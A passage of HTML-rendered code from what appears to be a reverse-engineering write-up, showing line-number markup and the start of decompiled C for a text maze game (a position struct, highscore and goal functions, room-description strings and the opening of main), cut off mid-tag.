crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-112\">112<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-113\">113<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-114\">114<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-115\">115<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-116\">116<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-117\">117<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-118\">118<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-119\">119<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-120\">120<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-121\">121<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-122\">122<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-123\">123<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-124\">124<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-125\">125<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-126\">126<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-127\">127<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-128\">128<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-129\">129<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-130\">130<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-131\">131<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-132\">132<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-133\">133<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-134\">134<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-135\">135<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-136\">136<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-137\">137<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-138\">138<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-139\">139<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-140\">140<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-141\">141<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-142\">142<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-143\">143<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-144\">144<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-145\">145<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-146\">146<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-147\">147<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-148\">148<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-149\">149<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-150\">150<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-151\">151<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-152\">152<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-153\">153<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-154\">154<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-155\">155<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-156\">156<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-157\">157<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-158\">158<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-159\">159<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-160\">160<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-161\">161<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-162\">162<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-163\">163<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-164\">164<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-165\">165<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-166\">166<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-167\">167<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-168\">168<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-169\">169<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-170\">170<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-171\">171<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-172\">172<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-173\">173<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-174\">174<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-175\">175<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-176\">176<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-177\">177<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-178\">178<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-179\">179<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-180\">180<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-181\">181<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-182\">182<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-183\">183<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-184\">184<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-185\">185<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-186\">186<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-187\">187<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-188\">188<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-189\">189<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-190\">190<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-191\">191<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-192\">192<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-193\">193<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-194\">194<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-195\">195<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-196\">196<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-197\">197<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-198\">198<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-199\">199<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-200\">200<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-201\">201<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-202\">202<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-203\">203<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-204\">204<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-205\">205<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-206\">206<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-207\">207<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-208\">208<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-209\">209<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-210\">210<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-211\">211<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-212\">212<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-213\">213<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-214\">214<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-215\">215<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-216\">216<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-217\">217<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-218\">218<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-219\">219<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-220\">220<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-221\">221<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-222\">222<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-223\">223<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-224\">224<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-225\">225<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-226\">226<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-227\">227<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-228\">228<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-229\">229<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-230\">230<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-231\">231<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-232\">232<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-233\">233<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-234\">234<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-235\">235<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-236\">236<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-237\">237<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-238\">238<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ef243828304-239\">239<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ef243828304-240\">240<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\">\n<div id=\"crayon-57eb96174b1ef243828304-1\" class=\"crayon-line\"><span class=\"crayon-r\">typedef<\/span> <span class=\"crayon-t\">struct<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-2\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-3\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">unsigned<\/span> <span class=\"crayon-t\">char<\/span> <span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-4\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">unsigned<\/span> <span class=\"crayon-t\">char<\/span> <span class=\"crayon-v\">y<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-5\" class=\"crayon-line\"><span class=\"crayon-sy\">}<\/span> <span class=\"crayon-v\">position<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-6\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-7\" class=\"crayon-line\"><span class=\"crayon-c\">\/\/&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-8\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-c\">\/\/ Function declarations<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-9\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-10\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-t\">void<\/span> <span class=\"crayon-e\">__fastcall <\/span><span class=\"crayon-e\">append_highscore<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">unsigned<\/span> <span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">num_moves<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-11\" class=\"crayon-line\"><span class=\"crayon-t\">void<\/span> <span class=\"crayon-e\">__fastcall <\/span><span class=\"crayon-e\">reached_goal<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">unsigned<\/span> <span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">num_moves<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-12\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-13\" class=\"crayon-line\"><span class=\"crayon-c\">\/\/&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-14\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-c\">\/\/ Data declarations<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-15\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-16\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">position <\/span><span class=\"crayon-v\">winning_position<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-sy\">{<\/span> <span class=\"crayon-cn\">178u<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">93u<\/span> <span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-17\" class=\"crayon-line\"><span class=\"crayon-e\">position <\/span><span class=\"crayon-v\">maze_map<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">8638<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-18\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span> <span class=\"crayon-c\">\/\/ large array removed to make this more convenient to read<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-19\" class=\"crayon-line\"><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-20\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-m\">const<\/span> <span class=\"crayon-t\">char<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">info_text<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">16<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">=<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-21\" class=\"crayon-line\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-22\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-s\">&#8220;You are trapped.&#8221;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-23\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-s\">&#8220;You are in a dead end, you can only go west.&#8221;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-24\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-s\">&#8220;You are in a dead end, you can only go north.&#8221;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-25\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-s\">&#8220;You can feel a wall in the east and south.&#8221;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-26\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-s\">&#8220;You are in a dead end, you can only go east.&#8221;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-27\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-s\">&#8220;North and south are blocked.&#8221;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-28\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-s\">&#8220;You can go north, oh east is also free.&#8221;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-29\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-s\">&#8220;In the south, something is in your way.&#8221;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-30\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-s\">&#8220;You are in a dead end, you can only go south.&#8221;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-31\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-s\">&#8220;From somewhere comes light, you can see a wall in north and east directions.&#8221;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-32\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-s\">&#8220;In the south is no wall, you can also go north.&#8221;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-33\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-s\">&#8220;In the east is a wall.&#8221;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-34\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-s\">&#8220;South and East are not blocked.&#8221;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-35\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-s\">&#8220;Better not go north.&#8221;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-36\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-s\">&#8220;West is blocked.&#8221;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-37\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-s\">&#8220;You can feel no wall around you.&#8221;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-38\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-39\" class=\"crayon-line\"><span class=\"crayon-m\">const<\/span> <span class=\"crayon-t\">char<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">west_str_ptr<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-s\">&#8220;west&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-40\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-m\">const<\/span> <span class=\"crayon-t\">char<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">north_str_ptr<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-s\">&#8220;north&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-41\" class=\"crayon-line\"><span class=\"crayon-m\">const<\/span> <span class=\"crayon-t\">char<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">east_str_ptr<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-s\">&#8220;east&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-42\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-m\">const<\/span> <span class=\"crayon-t\">char<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">south_str_ptr<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-s\">&#8220;south&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-43\" class=\"crayon-line\"><span class=\"crayon-e\">position <\/span><span class=\"crayon-v\">current_position<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-44\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-45\" class=\"crayon-line\"><span class=\"crayon-c\">\/\/&#8212;&#8211; (00000000004008E0) &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-46\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">__int64 <\/span><span class=\"crayon-e\">__fastcall <\/span><span class=\"crayon-e\">main<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">__int64 <\/span><span class=\"crayon-v\">argc<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-t\">char<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">argv<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-t\">char<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">envp<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-47\" class=\"crayon-line\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-48\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">position <\/span><span class=\"crayon-v\">_current_position<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ di@2<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-49\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e \">position *<\/span><span class=\"crayon-v\">adjacent_position<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ rsi@2<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-50\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">unsigned<\/span> <span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">valid_moves<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ er14@2<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-51\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">__int64 <\/span><span class=\"crayon-v\">valid_moves_bitmap<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ rcx@2<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-52\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e \">position *<\/span><span class=\"crayon-v\">map_iterator<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ rax@3<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-53\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-m\">const<\/span> <span class=\"crayon-t\">char<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">info_text_ptr<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ rdx@7<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-54\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">can_go_west<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ er12@7<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-55\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">can_go_north<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ er13@7<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-56\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">can_go_east<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ er15@7<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-57\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">can_go_south<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ er14@7<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-58\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">char<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">_s<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ rbx@8<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-59\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">char<\/span> <span class=\"crayon-o\">*<\/span><span 